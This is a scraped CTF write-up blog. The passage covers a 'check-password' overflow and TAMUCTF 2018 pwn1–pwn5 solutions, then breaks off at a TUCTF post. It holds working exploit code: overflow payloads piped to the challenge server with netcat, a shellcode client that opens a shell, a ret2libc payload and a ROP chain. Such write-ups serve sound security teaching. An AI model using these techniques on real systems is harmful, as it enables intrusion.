<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZz1k57mLo_ZxtstSYMM1xw-uP_jqHv9moEYEzNWZrKBIorkgn0NBYBX8fGVe4LZ7UK288wfMj8ROTZtyzi_PETx8bhjtReUyB5XkTu6NfU01wQhIjSAJENTiULEkhBzhbVjoR-5CbegA/s1600/check-password.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZz1k57mLo_ZxtstSYMM1xw-uP_jqHv9moEYEzNWZrKBIorkgn0NBYBX8fGVe4LZ7UK288wfMj8ROTZtyzi_PETx8bhjtReUyB5XkTu6NfU01wQhIjSAJENTiULEkhBzhbVjoR-5CbegA/s1600/check-password.png" data-original-width="802" data-original-height="625" /></a></div>
<br />
<br />
After this it asks for a case number using scanf, uses a jump table to load a specific data filename onto the stack ($rbp-0x30) and then prints that file using print_record:
<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgE4nc2Z8t26NsNSA5PeHhR_teFbWFD3jrxr1IIW5dSlN4_fEWYrhw4RWTRjWEWH-oA1Q14kAa02ADlXVJfn1hAjuUQgpVaazqcYAm5D3AjckNijbiS6kr9WyWyGkoa2AAZYW8wv9N2QSk/s1600/jmp-table.png" imageanchor="1" style="margin-left: -1.6em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgE4nc2Z8t26NsNSA5PeHhR_teFbWFD3jrxr1IIW5dSlN4_fEWYrhw4RWTRjWEWH-oA1Q14kAa02ADlXVJfn1hAjuUQgpVaazqcYAm5D3AjckNijbiS6kr9WyWyGkoa2AAZYW8wv9N2QSk/s1600/jmp-table.png" data-original-width="893" data-original-height="707" /></a></div>
<br />
For the strings in Binary Ninja above, one useful feature is to hit the 'r' key to convert to character constants. The same was done for the jump to the flag setup:
<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9mN1oiibXXApw56XN53LOcl-mBART-FQ6ISur5PCSgEzweqkOzaCDTSmx27Ak_P6ZSv0sMEu5Y9-161y9_M3yf97PWC1ZFUYDK1bs7pvI72kAJwzC9c1lpbVX3PR1LwxulHjMbLbC0S4/s1600/flag-exits.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9mN1oiibXXApw56XN53LOcl-mBART-FQ6ISur5PCSgEzweqkOzaCDTSmx27Ak_P6ZSv0sMEu5Y9-161y9_M3yf97PWC1ZFUYDK1bs7pvI72kAJwzC9c1lpbVX3PR1LwxulHjMbLbC0S4/s1600/flag-exits.png" data-original-width="781" data-original-height="407" /></a></div>
<br />
The flag case exits which isn't very useful for us, so time to look elsewhere.
<br /><br />
We can see all other cases converge onto this one block:
<br /><br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgv24sx-aL3eC6Mx1wPqtygpvgRvifYEfB6YRj3K9ps1FXggUQJDlj-g7lXeNAatxnFcp6pFnAW0toqwJ-h2Y_r0J5lv4M_T6wpU67Vzqi9mrxK4DPzDW8dpnz0tGwaNAAFccKFw44E8Mk/s1600/print-record.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgv24sx-aL3eC6Mx1wPqtygpvgRvifYEfB6YRj3K9ps1FXggUQJDlj-g7lXeNAatxnFcp6pFnAW0toqwJ-h2Y_r0J5lv4M_T6wpU67Vzqi9mrxK4DPzDW8dpnz0tGwaNAAFccKFw44E8Mk/s1600/print-record.png" data-original-width="781" data-original-height="387" /></a></div>
<br />
Note it's loading the filename string at rbp-0x30, 16 bytes after the password on the stack.
<br />
It's also interesting the existence check happens after the print.
<br />
<br />
Maybe we can overflow using password to add the path of flag.txt to the string referenced on the stack.
<br />
<br />
Looking back at the initial case comparison, there's a jump above instruction which will hit 0x400cb8 if the value is above 7:
<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2oBvMk8BBZeo4oxhcvq1k3ui5jT9NIB79HL_aseypBXWRg4fHJdfHiErvX4etMZwWljKM1avPewS1x897cGhP84Xq3mICSwNgiwXpJBG4H9iZDoBtHD6ym4HOkPR9KrJVblrGwYMsFUc/s1600/jmp-above.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2oBvMk8BBZeo4oxhcvq1k3ui5jT9NIB79HL_aseypBXWRg4fHJdfHiErvX4etMZwWljKM1avPewS1x897cGhP84Xq3mICSwNgiwXpJBG4H9iZDoBtHD6ym4HOkPR9KrJVblrGwYMsFUc/s1600/jmp-above.png" data-original-width="650" data-original-height="204" /></a></div>
<br />
Seems like we have a good amount of information to start dynamic analysis, let's run this binary!
<br />
<br />
Breaking at the ja destination, we'll inspect the stack value for filename to see if we can overflow into it. Remember the password is stored at rbp-0x40 and the filename is stored at rbp-0x30, that's a difference of 0x10 or 16 bytes. With that, let's try the overflow in GDB:
<br />
<br />
<pre>
pwndbg> b *0x400cb8
Breakpoint 1 at 0x400cb8
pwndbg> r
Enter password to authentic yourself : kaiokenx20______AAAA
Enter case number:
1) Application_1
2) Application_2
3) Application_3
4) Application_4
5) Application_5
6) Application_6
7) Flag
Enter choice :- 9
pwndbg> x/s $rbp-0x40
0x7fffffffdf00: "kaiokenx20_____"...
pwndbg> x/s $rbp-0x30
0x7fffffffdf10: "AAAA"
</pre>
<br />
Looks like it worked!
<br />
<br />
Repeating the same with flag.txt doesn't seem to work for some reason, let's look back at the disassembly....
<br /><br />
In print_record, there's a compare for the filename size to be equal to 0x24 bytes:
<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitYfAMi515RMKeS4aFUdrBK31d2-l2-HecyZaVHrcJz99EWam3v2F1Br0c5Xt5YdQSRtiIf4oFEFzQrSAKu8FrD4xKzAM-5uTz1RDI_kjOhu-70qnbrhqcUdHHCW95DM2MxTLdvkESprE/s1600/length-0x24.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitYfAMi515RMKeS4aFUdrBK31d2-l2-HecyZaVHrcJz99EWam3v2F1Br0c5Xt5YdQSRtiIf4oFEFzQrSAKu8FrD4xKzAM-5uTz1RDI_kjOhu-70qnbrhqcUdHHCW95DM2MxTLdvkESprE/s1600/length-0x24.png" data-original-width="466" data-original-height="382" /></a></div>
<br />
<br />
This next part brings the nostolgia back, with path modification to work with this buffer size. We need to make this path 0x24 bytes while preserving validity of loading flag.txt. To do this we may add a bunch of slash characters when referencing it locally, ex.:
<br />
<br />
<pre>
.///////////////////////////flag.txt
</pre>
<br />
Combining this with our password, we get the following:
<br />
<br />
<pre>
kaiokenx20______.///////////////////////////flag.txt
</pre>
<br />
Running the binary with this password and a large > 7 (or underflowed negative) value for case number we drop the flag:
<br />
<br />
<pre>
Enter password to authentic yourself :
Enter case number:
1) Application_1
2) Application_2
3) Application_3
4) Application_4
5) Application_5
6) Application_6
7) Flag
Enter choice :-
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
The flag is :- pctf{bUff3r-0v3Rfl0wS`4r3.alw4ys-4_cl4SsiC}
</pre>
<br />
</div>.http://www.blogger.com/profile/13520115893687744185noreply@blogger.comtag:blogger.com,1999:blog-6516746340813689887.post-21150512585451990732018-02-26T17:59:00.001-08:002018-02-26T19:11:08.604-08:00TAMUCTF 2018 - pwn*<style>
.example pre {font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #FFF; background-color: #000;font-size: 14px;border: 1px dashed #999999;line-height: 20px; padding: 18px; margin: 0 0 0 -19px; overflow: auto; width: 100%}
</style>
<div class="example">
<br />
The following is a writeup for all pwn challenges found in TAMUCTF 2018:<br />
<br />
<ul>
<li><a href="#pwn-1">pwn1</a></li>
<li><a href="#pwn-2">pwn2</a></li>
<li><a href="#pwn-3">pwn3</a></li>
<li><a href="#pwn-4">pwn4</a></li>
<li><a href="#pwn-5">pwn5</a></li>
</ul>
<div>
<a href="#pwn-1"><br /></a></div>
<h1 id="pwn-1">
<a href="#pwn-1">Pwn 1</a></h1>
<br />
This challenges was a simple overflow of 23 bytes + <b>0xf007b411</b> (taken from a hardcoded compare). After the compare passes, it branches to <b>0x8048626</b> which calls the print_flag function.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtRdNfYRyKTjz-3XCPIjB5wgD95eR6j3NpiZxCz9I95r4A7BMONk_giaOm25sleReLSgno0HUuiYzeMONf-YPfYQzLssvLU4PJCsmtxtW0urBE1F1CYjPDqoGMSr4nHw1J_KTSurswLNQ/s1600/pwn1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-left: -4em;"><img border="0" data-original-height="547" data-original-width="965" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtRdNfYRyKTjz-3XCPIjB5wgD95eR6j3NpiZxCz9I95r4A7BMONk_giaOm25sleReLSgno0HUuiYzeMONf-YPfYQzLssvLU4PJCsmtxtW0urBE1F1CYjPDqoGMSr4nHw1J_KTSurswLNQ/s1600/pwn1.png" /></a></div>
<br />
<br />
<pre>$ python -c 'print "A"*23 + "\x11\xba\x07\xf0"' | nc pwn.ctf.tamu.edu 4321
This is a super secret program
Noone is allowed through except for those who know the secret!
What is my secret?
How did you figure out my secret?!
gigem{H0W_H4RD_1S_TH4T?}
</pre>
<br />
<br />
<h1 id="pwn-2">
<a href="#pwn-2">Pwn 2</a></h1>
<br />
The second pwnable was similar to the first, but this time we're overwriting EIP with the function print_flag.
<br />
<br />
Running pwn2, we see it echos back some text by calling an echo function:
<br />
<br />
<pre>$ ./pwn2
I just love repeating what other people say!
I bet I can repeat anything you tell me!
AAAA
AAAA
</pre>
<br />
We could also run this with ltrace showing the address of the gets, which will take us to the echo function [<b>0x80485de</b>]:
<br />
<br />
<pre>$ ltrace -i ./pwn2
[0x8048471] __libc_start_main(0x80485f6, 1, 0xffc22824, 0x8048650 <unfinished ...="">
[0x8048618] setvbuf(0xf7751ac0, 0x2, 0, 0) = 0
[0x8048628] puts("I just love repeating what other"...I just love repeating what other people say!
) = 45
[0x8048638] puts("I bet I can repeat anything you "...I bet I can repeat anything you tell me!
) = 41
[0x80485cc] setvbuf(0xf7751ac0, 0x2, 0, 0) = 0
[0x80485de] gets(0xffc22679, 2, 0, 0AAAA
) = 0xffc22679
[0x80485f0] puts("AAAA"AAAA
) = 5
[0xffffffffffffffff] +++ exited (status 0) +++
</unfinished></pre>
<br />
Looking at echo in Binary Ninja, again we see that it's vulnerable because of the gets function, which has no bounds checking:
<br />
<br />
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiguuSHq9JLZVo7gW4Emo5mnUt8kPX6A7KHqJyhE44w55zZDR1ZAhfOm5_2M2jOzAhQF3vzGqqsr588Y8V1MASQ0cG1Q-bg4C2zlkGU1hMsNRusKaPpsYRUN0O2Nh189Mu-XZCE-qW2ts4/s1600/pwn2-gets-vuln.png" imageanchor="1"><img border="0" data-original-height="573" data-original-width="462" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiguuSHq9JLZVo7gW4Emo5mnUt8kPX6A7KHqJyhE44w55zZDR1ZAhfOm5_2M2jOzAhQF3vzGqqsr588Y8V1MASQ0cG1Q-bg4C2zlkGU1hMsNRusKaPpsYRUN0O2Nh189Mu-XZCE-qW2ts4/s1600/pwn2-gets-vuln.png" /></a>
</div>
<br />
<br />
Playing with the buffers until we hit EIP:
<br />
<br />
<pre>$ python -c 'print "A"*243 + "BBBB"' | strace -i ./pwn2 |& grep si_addr
[42424242] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---
</pre>
<br />
Then we just insert the address of print_flag [<b>0x804854b</b>], using pwntools for packing:
<br />
<br />
<pre>$ python -c 'from pwn import p32; print "A"*243 + p32(0x804854b)' | nc pwn.ctf.tamu.edu 4322
I just love repeating what other people say!
I bet I can repeat anything you tell me!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAK�
This function has been deprecated
gigem{3ch035_0f_7h3_p4s7}
</pre>
<br />
<br />
<h1 id="pwn-3">
<a href="#pwn-3">Pwn 3</a></h1>
<br />
pwn3 is very similar to pwn2, but it has no print_flag function and ASLR was turned on for the server. Luckily there were no binary mitigations on this one:
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8lPCtLmDUHIKawJeFA-cE7gfux7euIFxdg2UJR0EzewrbkiL2awTiN0ulhPzkhPekHlJnc1mRGObcwqjv6unRKvMHGt8K2ZK_sEoOUHZAtdaWu8Mhx7EA3HWnbK-A77CUhCiXJbxnnvs/s1600/checksec-pwn3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="149" data-original-width="348" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8lPCtLmDUHIKawJeFA-cE7gfux7euIFxdg2UJR0EzewrbkiL2awTiN0ulhPzkhPekHlJnc1mRGObcwqjv6unRKvMHGt8K2ZK_sEoOUHZAtdaWu8Mhx7EA3HWnbK-A77CUhCiXJbxnnvs/s1600/checksec-pwn3.png" /></a></div>
<br />
First just running this binary we get:
<br />
<br />
<pre>Welcome to the New Echo application 2.0!
Changelog:
- Less deprecated flag printing functions!
- New Random Number Generator!
Your random number 0xffb837fa!
Now what should I echo? AAAA
AAAA
</pre>
<br />
What's that 'random number' generated? It looks like a memory address. Looking in Binary Ninja we confirm it just points to our shellcode, Great!
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgY8TY-0DEQyr5hppImyqBUuzEpil8fGTwgLo33RucRdfxRlLGu22I3I7pjFIA8YgwbigyeAZAS7l-8Spgav2jOgNJoYbD32_4aK_iRVTCe8VCrDQfex2tM24W2y_WLX3FLXgY7ep06kBk/s1600/pwn3-shellcode-pointer.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="635" data-original-width="611" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgY8TY-0DEQyr5hppImyqBUuzEpil8fGTwgLo33RucRdfxRlLGu22I3I7pjFIA8YgwbigyeAZAS7l-8Spgav2jOgNJoYbD32_4aK_iRVTCe8VCrDQfex2tM24W2y_WLX3FLXgY7ep06kBk/s1600/pwn3-shellcode-pointer.png" /></a></div>
<br />
We can see the EIP overwrite is 242 bytes in:
<br />
<br />
<pre>$ python -c 'print "A"*242 + "BBBB"' | strace -i ./pwn3 |& grep si_addr
[42424242] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---
</pre>
<br />
Now we just need to leak the shellcode address, place some shellcode at the start of the buffer and overwrite EIP with the leaked address.
<br />
<br />
To do this, I wrote a small client:
<br />
<br />
<pre>#!/usr/bin/env python
from pwn import *
#r = process('./pwn3')
r = remote('pwn.ctf.tamu.edu', 4323)
NOP = '\x90'
SC = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'
LEAK_STR = 'Now what should I echo? '
def main():
result = r.recvuntil(LEAK_STR)
result = result.split('\n')[5].split('0x')[-1].rstrip('!')
stack = result.decode('hex')[::-1]
payload = SC + NOP * (242 - len(SC)) + stack
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()
</pre>
<br />
Running we get a shell and cat the flag:
<br />
<br />
<pre>$ python pwn3-client.py
[+] Opening connection to pwn.ctf.tamu.edu on port 4323: Done
[*] Switching to interactive mode
1�Ph//shh/bin\x89�PS\x89�
̀\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90:v��
$ cat flag.txt
gigem{n0w_w3_4r3_g377in6_s74r73d}
</pre>
<br />
<br />
<h1 id="pwn-4">
<a href="#pwn-4">Pwn 4</a></h1>
<br />
In this challenge we get an interface to execute specific commands without arguments, but there's another <b>gets</b> we can take advantage of:
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1THLmok6gx7kyZpNyxgy_gmGkH6GD6Q2kDHFBIGRfAeWhDu_zumETYz8oHTfMtcTfhgQ4CIoWviWqnjRJ4oHfvtTTpygp1VZnPinbQsyEZxDkeDif00g51T38fk_Rg6pewtDOQsL_g8c/s1600/pwn4-gets.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="763" data-original-width="720" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1THLmok6gx7kyZpNyxgy_gmGkH6GD6Q2kDHFBIGRfAeWhDu_zumETYz8oHTfMtcTfhgQ4CIoWviWqnjRJ4oHfvtTTpygp1VZnPinbQsyEZxDkeDif00g51T38fk_Rg6pewtDOQsL_g8c/s1600/pwn4-gets.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
It looks like the binary has NX enabled:</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8HL-KnBCq950UYGpCBSxTpBxPHHP_mzKJ6xYp4ykwrcOnQaKo1mZ06GraGpz_o0qJD6CAFgNvDhP-ourBFsOn59zgNThNYOZ7vJlx15n2NAtdEcfSPZcN32Nv09mcChkXIjgLpLHfPo8/s1600/pwn4-nx.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="125" data-original-width="340" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8HL-KnBCq950UYGpCBSxTpBxPHHP_mzKJ6xYp4ykwrcOnQaKo1mZ06GraGpz_o0qJD6CAFgNvDhP-ourBFsOn59zgNThNYOZ7vJlx15n2NAtdEcfSPZcN32Nv09mcChkXIjgLpLHfPo8/s1600/pwn4-nx.png" /></a></div>
<br />
<br />
We can use ret2libc to get a shell, first we need to find the gadgets for <b>/bin/sh</b> & <b>system</b>, <a href="https://github.com/pwndbg/pwndbg">pwndbg</a> makes this simple:
<br />
<br />
<pre>pwndbg> p system
$1 = {<text variable, no debug info>} 0x8048430 <system@plt>
pwndbg> b main
Breakpoint 1 at 0x8048791
pwndbg> r
Breakpoint main
pwndbg> search /bin/sh
pwn4 0x804a038 u'/bin/sh'
</pre>
<br />
That gives us <b>0x8048430</b> for system & <b>0x804a038</b> for '/bin/sh', then we just need to pad with the right offset. We find the EIP overwrite just as above:
<br />
<br />
<pre>$ python -c "print 'A'*32 + 'BBBB'" | strace -i ./pwn4 |& grep si_addr
[42424242] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---
</pre>
<br />
Tying that all together, we get:
<br />
<br />
<pre>(python -c 'from pwn import *; print "A"*32 + p32(0x8048430) + "JUNK" + p32(0x0804a038)'; cat) | nc pwn.ctf.tamu.edu 4324
I am a reduced online shell
Your options are:
1. ls
2. cal
3. pwd
4. whoami
5. exit
Input> Unkown Command
cat flag.txt
gigem{b4ck_70_7h3_l1br4ry}
</pre>
<br />
<br />
<h1 id="pwn-5">
<a href="#pwn-5">Pwn 5</a></h1>
<br />
This challenge is a statically linked x86 binary with NX enabled. After looking through the functions used, playing with it on the command-line, it doesn't take too long to find the vulnerability - another gets call:
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjAP7v8z-4yFDZiDyf7WLJPNwLnS-BW9dQcNNp8TNsu_Z22_NGS9k0joMQIVNLOt8VEIj0FoKAQ7OaNQfPyYk1WcwxiO039NmaxH-eV1xiAIzKSz5ETTPzHOIIC-1pHzcIZiKT7-Ko49Y/s1600/pwn5-gets.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="588" data-original-width="709" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjAP7v8z-4yFDZiDyf7WLJPNwLnS-BW9dQcNNp8TNsu_Z22_NGS9k0joMQIVNLOt8VEIj0FoKAQ7OaNQfPyYk1WcwxiO039NmaxH-eV1xiAIzKSz5ETTPzHOIIC-1pHzcIZiKT7-Ko49Y/s1600/pwn5-gets.png" /></a></div>
<br />
<br />
First it would be nice to automate stdin for this challenge with a small PoC client:
<br />
<br />
<pre>#!/usr/bin/env python
from pwn import *
from struct import pack
r = process('./pwn5')
#r = remote('pwn.ctf.tamu.edu', 4325)
# requires tmux to run
context(terminal = ['tmux', 'splitw'])
def main():
r.sendline('a')
r.sendline('a')
r.sendline('a')
r.send('y\n')
r.send('2\n')
gdb.attach(r, 'c')
r.sendline('AAAA')
r.interactive()
if __name__ == "__main__":
main()
</pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwzIS-zpl4yCz2do2AOA31fQ91Pl-4eaWYXVRu_BYP9Mr6Ou1-WXAxnjyGsDi4H5EVcf4WKtVnCD5bPzongaTrY9lqzmUK-x_dXYIp7b4gwKfTDwc3pvsFAhN4NHzNfI0FqdRmyfavvy8/s1600/pwn5-stack-offset.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="220" data-original-width="445" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwzIS-zpl4yCz2do2AOA31fQ91Pl-4eaWYXVRu_BYP9Mr6Ou1-WXAxnjyGsDi4H5EVcf4WKtVnCD5bPzongaTrY9lqzmUK-x_dXYIp7b4gwKfTDwc3pvsFAhN4NHzNfI0FqdRmyfavvy8/s1600/pwn5-stack-offset.png" /></a></div>
<br />
We can see from the disassembly gets is storing our input in <b>ebp-0x1c</b>, if we add 4 for EBP we get to EIP, making our padding 32 bytes.
<br />
<br />
If we rerun our client replacing 'AAAA' with 'A'*32 + 'BBBB', we'll see a crash of 0x42424242 in gdb.
<br />
<br />
Next all we need to do is ROP! For this we can use <a href="https://github.com/sashs/Ropper">Ropper</a> to generate the ROPChain:
<br />
<br />
<pre>$ ropper --file ./pwn5 --chain execve
</pre>
<br />
Dumping that into our existing client, we get:
<br />
<br />
<pre>#!/usr/bin/env python
from pwn import *
from struct import pack
#r = process('./pwn5')
r = remote('pwn.ctf.tamu.edu', 4325)
IMAGE_BASE = 0x08048000
rebase = lambda x : p32(x + IMAGE_BASE)
rop = ''
rop += rebase(0x00074396) # 0x080bc396: pop eax; ret;
rop += '//bi'
rop += rebase(0x0002b38a) # 0x0807338a: pop edx; ret;
rop += rebase(0x000a8060)
rop += rebase(0x0000d12b) # 0x0805512b: mov dword ptr [edx], eax; ret;
rop += rebase(0x00074396) # 0x080bc396: pop eax; ret;
rop += 'n/sh'
rop += rebase(0x0002b38a) # 0x0807338a: pop edx; ret;
rop += rebase(0x000a8064)
rop += rebase(0x0000d12b) # 0x0805512b: mov dword ptr [edx], eax; ret;
rop += rebase(0x000016b3) # 0x080496b3: xor eax, eax; ret;
rop += rebase(0x0002b38a) # 0x0807338a: pop edx; ret;
rop += rebase(0x000a8068)
rop += rebase(0x0000d12b) # 0x0805512b: mov dword ptr [edx], eax; ret;
rop += rebase(0x000001d1) # 0x080481d1: pop ebx; ret;
rop += rebase(0x000a8060)
rop += rebase(0x0009c325) # 0x080e4325: pop ecx; ret;
rop += rebase(0x000a8068)
rop += rebase(0x0002b38a) # 0x0807338a: pop edx; ret;
rop += rebase(0x000a8068)
rop += rebase(0x00074396) # 0x080bc396: pop eax; ret;
rop += p32(0xfffffff5)
rop += rebase(0x0001a407) # 0x08062407: neg eax; ret;
rop += rebase(0x0002b990) # 0x08073990: int 0x80; ret;
def main():
r.sendline('a')
r.sendline('a')
r.sendline('a')
r.send('y\n')
r.send('2\n')
r.sendline('A'*32 + rop)
r.interactive()
if __name__ == "__main__":
main()
</pre>
<br />
Then we run it and cat the flag:
<br />
<br />
<pre>$ python pwn5-client.py
[+] Opening connection to pwn.ctf.tamu.edu on port 4325: Done
[*] Switching to interactive mode
$ cat flag.txt
gigem{r37urn_0f_7h3_pwn}
</pre>
<br /></div>
.http://www.blogger.com/profile/13520115893687744185noreply@blogger.comtag:blogger.com,1999:blog-6516746340813689887.post-188455840353658502017-11-27T19:51:00.001-08:002017-11-27T19:51:44.195-08:00TUCTF 2017 - Vuln Chat<style>
.example pre {font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #FFF; background-color: #000;font-size: 14px;border: 1px dashed #999999;line-height: 20px; padding: 18px; margin: 0 0 0 -19px; overflow: auto; width: 100%}
</style>
<br />
<div class="example">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeo3fyzpJwTBs1Uja72kx_sr5AmM1eD-j3Za5R9at1T0HVlXwVcE6A4lx1cPvh0vVdwQ8jzwRyvJSiYv6_PcVKBDpdzJOwnK53yhyphenhypheno9vxIPHG6Ik_rmSF6F-72IJUwDzaSsZ_K8ei9dA8/s1600/broken-phone.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1067" data-original-width="1600" height="425" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeo3fyzpJwTBs1Uja72kx_sr5AmM1eD-j3Za5R9at1T0HVlXwVcE6A4lx1cPvh0vVdwQ8jzwRyvJSiYv6_PcVKBDpdzJOwnK53yhyphenhypheno9vxIPHG6Ik_rmSF6F-72IJUwDzaSsZ_K8ei9dA8/s640/broken-phone.jpg" width="640" /></a></div>
<br />
TUCTF was a lot of fun this year, it's primarily geared towards High School & College levels so the challenges tend to be easier than a lot of other CTF's, but any CTF is good practice! The challenges this year were very well designed and it was nice to go through them!
<br />
<br />
Starting off with PWN we have "vuln chat" and "vuln chat 2.0", both 32-bit ELF binaries.
<br />
<br />
<br />
<h1 id="vuln-chat-1">
Vuln Chat</h1>
<br />
The first binary had a very simple main function. It contained a simple printFlag function which cat's flag.txt. It includes two scanf calls in the main function with the format string %30s.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtFRoJ5wRAA8L0LJYGfPVbRTCO0tzsrfi8KAdH8SaXBzLuvgBVDP-oFq4dQmnCJAyeN3S__kopzZQmNooKFujUiRFKnuQS06xY1uj0BQ_HDAT8QR8IcTaWmPJaliJY23hRXJxYh4gLFBM/s1600/vuln-chat-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="773" data-original-width="506" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtFRoJ5wRAA8L0LJYGfPVbRTCO0tzsrfi8KAdH8SaXBzLuvgBVDP-oFq4dQmnCJAyeN3S__kopzZQmNooKFujUiRFKnuQS06xY1uj0BQ_HDAT8QR8IcTaWmPJaliJY23hRXJxYh4gLFBM/s1600/vuln-chat-1.png" /></a></div>
<br />
